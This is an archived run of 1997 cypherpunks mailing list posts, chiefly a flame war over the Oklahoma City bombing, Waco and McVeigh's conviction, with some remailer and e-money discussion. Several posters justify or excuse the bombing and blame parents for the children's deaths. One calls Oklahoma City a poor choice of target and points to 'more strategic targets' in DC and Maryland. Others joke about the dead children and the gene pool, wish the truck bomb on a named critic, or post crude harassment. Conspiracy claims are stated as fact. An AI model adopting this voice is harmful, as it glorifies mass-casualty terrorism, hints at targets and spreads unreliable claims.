I guess we can only dream of it happening in our lifetime...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 02:58:31 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <199706041844.NAA20350@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

<sigh> If you don't want your children to get blown up don't put them in
harms way. The government *KNEW* that this building was the target of
numerious groups. They especially knew that it was a major risk on that
day. They did nothing to warn the occupants of the building.

This is no different than palcing a daycare center in a munition factory
durring a time of war and then blaming the bomber pilots for blowing up
children.

The Judge of the McVeigh case said himself in his instructions to the jury
that there was no evidence that McVeigh knew of the day care center in the
building. McVeigh was going after the ATF agents in the building (all of
which were conviently gone at the time of the bombing).

A just where were your tears for the children that were burned alive by
the ATF in Waco or the children of Weaver guned down by sinpers at Ruby
Ridge? I guess it only ok to kill children if it's the Federal Government
doing it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 03:28:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102818afbb58470a20@[207.167.93.63]>
Message-ID: <199706041913.OAA20798@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102818afbb58470a20@[207.167.93.63]>, on 06/04/97 
   at 10:51 AM, Tim May <tcmay@got.net> said:

>Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes,
>yes to all of the denunciations of terrorism. But the fact is that all
>war is a kind of terrorism, and all wars and all struggles have resulted
>in deaths of innocents.

>(Intereting that Bell is so widely condemned for wanting to transfer the
>burden to the actual guilty parties, and not the innocents usually
>consumed as fuel in wars.)

Hi Tim,

I think a distinction needs to be made between a war of aggression and
people defending against that aggression.

For the most part thoses labeled as "terrorist" are the one who are
fighting against an aggressor. Most terrorist don't just wake up one
morning and decide to start blowing things up. They only become active
after a foreign power attacks them and they react in self defence no
different if some one breaks into you house and you shoot them (I am sure
that there are some liberal winnies here who think that selfdefence is
wrong).

If you did not have the Federal government acting as an aggressor towards
its own citizens then you would not see such things happen.

I personnaly think the OK was a poor choice of targets. There are much
more strategic targets in DC and MD. You would think that McVeigh, with
his military background, would have known better.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 03:34:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Who "invented" remailers?
Message-ID: <199706041922.OAA20901@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



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In <Pine.GSO.3.96.970604112313.13859B-100000@linda.teleport.com>, on
06/04/97 
   at 11:46 AM, Alan <alano@teleport.com> said:

>Unfortunatly for mixmaster to work effectivly, you need a threshold of
>usage.  That threshold has not been reached yet.  With the successful
>campaign against remailers by those who oppose them, the problem is made
>worse.  (As well as supporting a form of encryption not commonly
>available to "Joe Sixpack".)  Currently, use of the Mixmaster remailer
>system is out of reach of most of the average users out there.  The only
>serious project to address that need has been Private Idaho and
>development has stopped on that project.

Development has not stoped on PI. As a matter of fact I just received an
announcement that a new release is out. I am currently working on a
simmilar project for the OS/2 platform. I am not sure what is being done
on the Mac or *nix.

Currently I am testing remailer support using PGP encryption but should
have mixmaster support as soon as I get the mixmaster code ported over. I
just downloaded the new mixmaster code so I will have to se what changes
have been made.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 02:55:12 +0800
To: cypherpunks@toad.com
Subject: G-10 on Electronic Money
Message-ID: <1.5.4.32.19970604183409.00936120@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer the April 1997 report of the G-10 countries*
"Electronic Money."

   http://jya.com/g10emoney.htm  (121K)

This is a survey of the electronic payments systems
of the ten countries, and the status and prospects 
in each for policy, law enforcement, privacy and related 
issues.

The report is by a Working Party set up after the Lyon 
conference in June 1996 to examine three policy areas:

   (1) consumer issues; 
   (2) law enforcement issues; and 
   (3) supervisory issues 

It was presented at a G-10 conference in DC on April 28 
and publically released in the US on May 7 by the Treasury
Department.

* Belgium, Canada, France, Germany, Italy, Japan,
Netherlands, Sweden, Switzerland, United Kingdom
and the United States.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 5 Jun 1997 06:42:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706042203.PAA11358@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



May Timothy C. Mayo's forgeries get stuck up his ass 
so he'll have to shit through his filthy mouth for the 
rest of its miserable life.

           o       o
         /<         >\ Timothy C. Mayo
         \\\_______///
         //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 5 Jun 1997 04:51:45 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing?... (fwd)
In-Reply-To: <199706041411.JAA01411@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.970604152320.25228D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 4 Jun 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Tue, 3 Jun 1997 16:02:02 -0700
> > Subject: Re: Webpage picketing?...
> > From: nobody@huge.cajones.com (Huge Cajones Remailer)
> 
> > > You may dislike
> > > one of the sites linking to yours, but you really can't hijack their
> > > connections and force people to listen to you who don't want to.
> > 
> >   Wrong! It's done every day in every media from newspapers to TV
> > and points in between, including the InterNet.
> 
> >   I have a lot of respect for Peter's work, opinions and for his
> > integrity, but my perception is that he fails to understand that
> > the InterNet is a growing mosaic which can and should reflect
> > *all* of life, and that his perception of what the InterNet is
> > and should be somehow dictates what should and should not be
> > done on the InterNet.

Perhaps Peter should have wacked you with a bigger clue-stick.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 06:58:14 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.3.89.9706041516.A12832-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Chris DiBona wrote:
> Do these children
> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :

[list of public places elided]

Perhaps taking your kids to day care in a downtown area is not a very good 
idea in the first place. But putting them into daycare inside a federal 
building is criminally stupid.

Some on this list will even 
say that the kids' deaths fortunately 
reduced the negative impact their parents can have on the gene pool.


--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 06:58:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <19970604154744.59593@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 03, 1997 at 04:56:00PM -0700, Tim May wrote:
> At 4:28 PM -0700 6/3/97, Kent Crispin wrote:
[...]
> >
> >Some grew up.  Some, like Peter Pan, want to remain children forever.
> >
> 
> At least we can expect to see Kent Crispin soon leaving the list.

Possibly.  I have a life.  OTOH, I could lurk for years.

> Historically speaking, when writers stoop to one line insultings of the
> list they leave soon thereafter.

It was a pretty mild insult, relatively speaking, and not really 
aimed at the list in general.

Actually, I was thinking of a news report I read recently about the
nationwide drop in violent crime.  This trend is very widespread, and
is probably explained by the aging of the population -- statistically
it is true that most violent crime is perpetrated by young men in the
throes of a testosterone high.  Similarly, as the list membership
gets older and matures the interest in macho displays diminishes. 

Certainly on this list we see a clique with a strong adolescent macho
fascination with guns and violence, and certain of these individuals
exhibit other signs of stunted emotional growth.  Peter Pan and the
Lost Boys seemed an apt image for this group.

> (Vulis excepted, of course.)

Of course.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Thu, 5 Jun 1997 05:04:58 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: Re: McVeigh
In-Reply-To: <33959B0B.167E@ai.mit.edu>
Message-ID: <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain



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Maybe it is just me, but I think the whole McVeigh trial issues aren't
about whether he did or didn't do it.  it's important, but my concerns are
more about the process the government used to prove it's case.

It's built this huge circumstantial case, sprinkled liberally with weeping
mothers and children, added with a couple of witnesses who would probably
say anything to avoid execution.

None of it actually proved he DID it, just that it was possible. 

When a person can be convicted by sympathy, twisted circumstantial
evidence, and testimony given under threat of execution, you have to
wonder about the _process_ in this country, and th idea of trial by an
impartial body.

In my gut, I think he probably did do it, but I cannot see how the
prosecutors proved it beyond a "reasonable doubt".

Considering the testimony that is going to be allowed for the penalty
phase, I cannot forsee any verdict other than death.


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Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 07:07:10 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: BOUNCE cypherpunks@Algebra.COM:     Admin reques
In-Reply-To: <199706042229.RAA05009@manifold.algebra.com>
Message-ID: <Pine.GSO.3.96.970604154121.8869C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain




Quoting Ray Everett-Church:

> As stated before, I have heard no convincing argument that it is in the 
> consumers best interest to have an anonymous *vendor*. Sure it's vital 
> that *consumers* be allowed to remain anonymous, but if you're selling a 
> product or service, there's no legitimate reason why a business needs to 
> remain anonymous given issues of warranties, product liability, sales 
> taxes, etc.

I can think of a number of reasons why a business would want to remain
"hidden".  Fear of retribution is the biggest.  This could be "valid"
retribution (such as for selling shoddy products or annoying sales
practices) or "invalid" retribution (such as selling a product that
offends the local moral or legal establishment), but is a product that
people desire and are willing to pay money for.

But such markets are "illegal" and thus not to be thought about by good
little citizen units.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 07:14:18 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The New War
In-Reply-To: <199706042242.RAA24008@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970604160152.8869D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, William H. Geiger III wrote:

> If the only two choices for crypto work is Organized Crime (Mob,Drug
> Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go
           ^^^^^
Are these part of the narcotics trade? ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 5 Jun 1997 04:16:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v0310280bafba6a8c2fcf@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970604160439.24801A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, Tim May wrote:

> I don't see the McVeigh issue as one where we need to get into a pissing
> contest. He blew up the building, he got caught, he got convicted, and now
> he'll spend another $15 million of our money appealing his conviction for
> the next several or more years.

Yes, but that's $15M less tax payer dough the evil Uncle can use to build
stealth bombers, nukes, or buy hard drives to store surveilance on. :)
I'd rather have it "wasted" on him than on NSA spook salary, wouldn't you?

For that, he is to be commended.  (IMHO, he should have used that Ryder
truck on Vulis's apt building, but that's a given. :-)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 07:39:22 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <Pine.3.89.9706041627.A12832-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Hallam-Baker wrote:
> Give it a rest. The people inside had already murdered several BATF
> agents. They had every opportunity to release the children and allow
> them to get to safety. They had every opportunity to surrender.

Surrender to whom? To those that had fired upon their church when first 
approaching? Remember, the ATF fired *first*. [The ATF claimed they 
opened fire when they were shot at through the wooden front door from inside 
the church. The front door was made of solid steel. After burning all the 
worshippers inside, the ATF removed the front door and stored it in an 
evidence room. The door is listed on the evidence log. That's the last 
time anyone other than the feds has seen the door. When the survivers 
wanted to present the door in court to prove that the only bullet holes 
were from shots fired from the outside (the ATF), the door had vanished 
into thin air. To this day, the steel door can not be found.]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 5 Jun 1997 04:49:42 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970604161638.24801B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, Paul Bradley wrote:

> Tim McVeigh certainly acted for the right reasons. This does not make him 
> any less guilty, he killed innocent children in that building (no, I`m 
> not subscribing to the "save the children!" mentality, and do not believe 
> that an innocent childs life is more valuable than that of an innocent 
> adult, merely noting that as children they could not have been guilty of 
> acts of agression against McVeigh or anyone else because they were under 
> the age of criminal responsibility), if we were to say he were any less 
> guilty we would be allowing ourselves to believe in thoughcrime, and not 
> judging the overt act. 

There are those who would say that since the day care center catered to
employees of the building, etc. McVeigh didn't make a mistake there, as
reprehensible as that part of it was.

A better question, and a bigger issue is this: what plausible explanation
was given for the lack of BATF agents in the building on that day?  Could
it be that they knew about the attack?  If they did, why did they allow it
to happen, thus killing those kids in the day care center.  If they did,
we know who the true criminals are.  But this is a good question.  Will we
ever know the truth?

IMHO, If McVeigh did what he did, frying or lethal injection is
acceptable, he decided to take an action that would potentially cost him
his life, gambled and lost.  Like all terrorists, the price of killing
many is the price of being killed.  Etc.  It's a fair trade from one point
of view (though my money says he's shitting bricks right now), unfair from
the victim's point of view.

On one had we have the "faceless" evil governmet that McVeigh and Co. are
against.  On the other we have the day care center and media fodder, etc.
Somewhere in between lies reality.

What happens in the future and what results come out of this are yet
unknown.  Many threads of action by Uncle Sam are possible, unfortunaly,
he's likely to have forced the "faceless" evil ones to be yet even more
fascist and restrictive, which in turn would fuel the next set of
terrorist activities, and the impending revolution the militia is seeking.
Let's see what happens.

The unfortunate truth is that people will not put up with fascist behavior
for very long.  They may call for it to the point of a military state
citing crime statistics, unsafety and such...  But at one point you'll see
them scream "freedom" and grab the nearest weapon - be it a tree branch or
an A1 Abrams tank. :)  And that is something America once knew - now, it
knows "let's legislate the fuck out of the sheeple.  More laws.  This
should be illegal"  Or advertisements for things like circuses that say
"This much fun should be illegal" illustrate the point.

Life sucks.  Death sucks even more.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 5 Jun 1997 04:55:27 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320%chrisd@loc201.tandem.com>
Message-ID: <3395DF62.7A63@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Chris DiBona wrote:
> 
> <rant>
> 
> Okay folks...what the hell is wrong with you? First off, this whole McVeigh
> Crap is a bit off topic..but we all know this. The amazing thing about the
> string of posts has been that people have forgotten that He has been found
> guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of
> his peers, dare I say, people like us all. Randomly selected. This is how
> our system works.
> 
> Yes there are flaws in the system.
> 
> Yes the US govt. has it's problems in the past, present and future.
> 
> Yes people have died because schnooks in DC have had thier heads up thier
> ass. Or not.
> 
> So whether or not you belive he did it.....how can anyone be _for_ what
> _happened_. People died senselessly, I can't believe that anyone (in this
> case Duncan Frissell frissell@panix.com, lets give credit where it is due)
> can be so callous and , frankly, sick , to say :
> 
> <>
> As to the Children of OKC, people who turn the care of their children over
> to
> government employees or contractors do not place too high a value on those
> children.
> <>
> 
> Are you serious? You should be ashamed that you think this way. Do you
> really
> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!"
>  is
> on the same plane.
> 
> To all the people who defend blowing shit and people up to get thier point
> across....
> 
> Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does
> the
> PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh
> did it.
> But that doesn't make blowing up children in freakin' day care all right.
> Do you
> understand this? There is no reason to blow up kids. It's wrong. For any
> reason.
> Bad. Duncan...looking over your past posts.. .I've got to wonder if you
> were on acid
> when you wrote this, many of your posts were fairly cozigent. But this? Do
> you have
> children? Any  cousins who are children? A nephew or neice? Do these
> children
> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy.
> 
> If they even could, I'm someone somewhere will find a way to fuck up that
> safe place.
> 
> You get the point, I could go on....but I won't.  Perhaps you should think
> and read
> over your posts before you post again. The only good thing (and I mean
> ONLY) to
> come out of the whole Mcveigh thing being discussed here on cypherpunks, is
> that it has allowed me to add to my killfiles people who have for some
> reason,
> had a prefrontal.
> 
> To all the dipshits who could possibly think otherwise. I should also
> mention it
> is an EQUALLY fucked up thing to blow up adults.
> 
> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.
> 
>         Chris DiBona
> 
> </rant>
If these parents DID care, then why in the hell WOULD they put them in a
federal building?  If I remember fully a past post (i forget which, and
my memory ISN'T perfect) that place (the building) had been threatened
by numerous attacks, and yet these ignorant parents put their kids in
there.  I would put my kid a regular day care.  If someone blew up a
regular daycare, then they ARE fucked up.  He wasn't attacking a DAY
CARE, his midn was on blowing up the federals in there.  I'm not
JUSTIFYING killing children.  Who knows whether or not it will be
beneficial to the anti-federal cause.  Geiger gave a few examples.  To
accomplish some things you gotta break a few eggs (Tim May's post).  Not
that it's right to do it, but things happen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 5 Jun 1997 04:58:34 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <199706041844.NAA20350@mailhub.amaranth.com>
Message-ID: <3395E010.6C98@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> <sigh> If you don't want your children to get blown up don't put them in
> harms way. The government *KNEW* that this building was the target of
> numerious groups. They especially knew that it was a major risk on that

Looks like I was right after all.

> This is no different than palcing a daycare center in a munition factory
> durring a time of war and then blaming the bomber pilots for blowing up
> children.
> 
> The Judge of the McVeigh case said himself in his instructions to the jury
> that there was no evidence that McVeigh knew of the day care center in the
> building. McVeigh was going after the ATF agents in the building (all of
> which were conviently gone at the time of the bombing).
> 
> A just where were your tears for the children that were burned alive by
> the ATF in Waco or the children of Weaver guned down by sinpers at Ruby
> Ridge? I guess it only ok to kill children if it's the Federal Government
> doing it.
> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 
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> -----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 5 Jun 1997 06:09:27 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041504.KAA17624@mailhub.amaranth.com>
Message-ID: <Pine.BSF.3.91.970604162835.25228I-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 4 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199706041340.IAA01267@einstein.ssz.com>, on 06/04/97 
>    at 08:40 AM, Jim Choate <ravage@EINSTEIN.ssz.com> said:
> 
> >Yes, and your point? It can't be that a specific backbone cable between
> >two cities owned by the government is equivalent to the Internet in toto,
> >even conceptualy. Because it is clear that such a construct is equivalent
> >to the publicly funded highway running between the same cities, and you
> >most definitely CAN picket on a highway easment legaly. I have seen farm
> >workers in Texas do it my entire life. The Info-Highway comparison goes a
> >LOT farther than most people seem to have taken it. I personaly, don't
> >think we should go there in the case of communications technology.
> 
> I think that your analogy is slightly flawed.

That's one way of putting it ...  :)
> 
> While the farmers have a right to protest on the side of the road they do
> not have a right to interfere with the travelers on the road.
> 
> There is no real way you could picket on the "Info highway" as you have no
> right to interfere with the packets traveling on the highway. You can
> stand of to the side if you want but somehow I don't think that the
> packets will be watching. :)
> 

Not to mention that the government hasn't owned any of the "backbone 
cables" for many years now. Maybe Jim's on a different 'net.  

I've seen some strange arguements on this list over the years, but this 
one definately ranks. I'm in favor of the right to freedom of speech, 
even for Jim, but he seems to want the right to *force* everyone to 
listen to him *before* being permitted to listen to anyone else.

Seems that Jim wants the *right* to make me listen, not the right to speak.

-MarsupialMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 5 Jun 1997 05:13:41 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970604165830.0078e268@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The kids were murdered by Koresh who had the compound set alight.
>I've gone over the videos we made live off CNN. There is absolutely 
>no doubt that the fire started in multiple places.

Spoken like a man who *hasn't* seen the FLIRT (Forward Looking InfraRed 
Television) tapes that show the characteristic signatures of ingoing
automatic 
weapons fire.  Even the Washington Post was "troubled."

Spoken like a man who thinks that if some Federal Government somewhere tries 
to knock buildings down with tanks and releases massive quantities of tear
gas 
(admitted by the Federales), it has absolutely no responsibility whatsoever 
for whatever follows.  It was just an innocent bystander.  All this after an 
armed assault on a private dwelling.

I'll have to try that some time with the Jacob K. Javits Federal Office 
building in lower Manhatten.  I know I can count on you to defend me by
saying 
that even though I hit the place with 20 or 30 heavily-armed troopies and
then 
knocked a few walls down with tanks and filled the building with tear gas, 
nothing that happened there was my fault.

Gee!  Too bad about those Jews.  They accidently wandered out into the middle 
of Poland and committed suicide all 6 million of them.  Religious fanaticism 
can be dangerous. 

>If a group of people shoot anyone approaching them for any reason
>whatsoever the police have an absolute need to investigate. 

So who did they shoot in advance of the BATF attack?

>There
>was nothing else the authorities could have done except prevent
>Koresh from accumulating the arms in the first place.

There are currently hundreds of "compounds" (probably thousands) in America 
that have more firearms and people than existed at Mt. Carmel (80 people.
One 
gun per person).  There are millions of households in America (some on this 
list) that have *many* more guns per person (20x) than the residents of 
Koresh's religious community had.

The Feds could have done in 1993 what they've done since (Koresh wasn't the 
only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

We pay them to be PEACE officers not WAR officers.  WAR officers we reserve 
for foreigners (and Hispanic teenagers herding their goats on their own land 
and plinking with DANGEROUS .22 assault rifles too near the Mexican border).

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:27:23 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <199706042210.RAA23375@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706042113.RAA15819@muesli.ai.mit.edu>, on 06/04/97 
   at 05:13 PM, Hallam-Baker <hallam@ai.mit.edu> said:


>> Spoken like a man who thinks that if some Federal Government somewhere tries 
>> to knock buildings down with tanks and releases massive quantities of tear
>> gas 
>> (admitted by the Federales), it has absolutely no responsibility whatsoever 
>> for whatever follows.  It was just an innocent bystander.  All this after an 
>> armed assault on a private dwelling.

>Give it a rest. The people inside had already murdered several BATF
>agents. They had every opportunity to release the children and allow them
>to get to safety. They had every opportunity to surrender.

>Since you clearly intend from your earlier posts for "whatever follows"
>to mean McVeighs murder of 167 people in Oaklahoma clearly it does not.

>The US police may be incompetent and corrupt but that does not excuse the
>Oaklahoma bombing nor does it in any way lessen the responsibility of
>McVeigh and those who encouraged him.


>> I'll have to try that some time with the Jacob K. Javits Federal Office 
>> building in lower Manhatten.  I know I can count on you to defend me by
>> saying 
>> that even though I hit the place with 20 or 30 heavily-armed troopies and
>> then 
>> knocked a few walls down with tanks and filled the building with tear gas, 
>> nothing that happened there was my fault.

>If you have a duly authorised warrant from a court, the inhabitants have
>shot at people from inside the building and you give them two months to
>surrender, sure go for it.

>Only I think that the SAS is probably better experienced.


>> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
>> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

>yeah peacefull types whose response to a visit from the police was to lie
>in ambush and shoot at them with automatic weapons.

>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?


>And in any case the point is that Waco does not absolve McVeigh and the
>militias for the blame for Oaklahoma.

>	Phill


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:30:56 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <199706042223.RAA23646@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

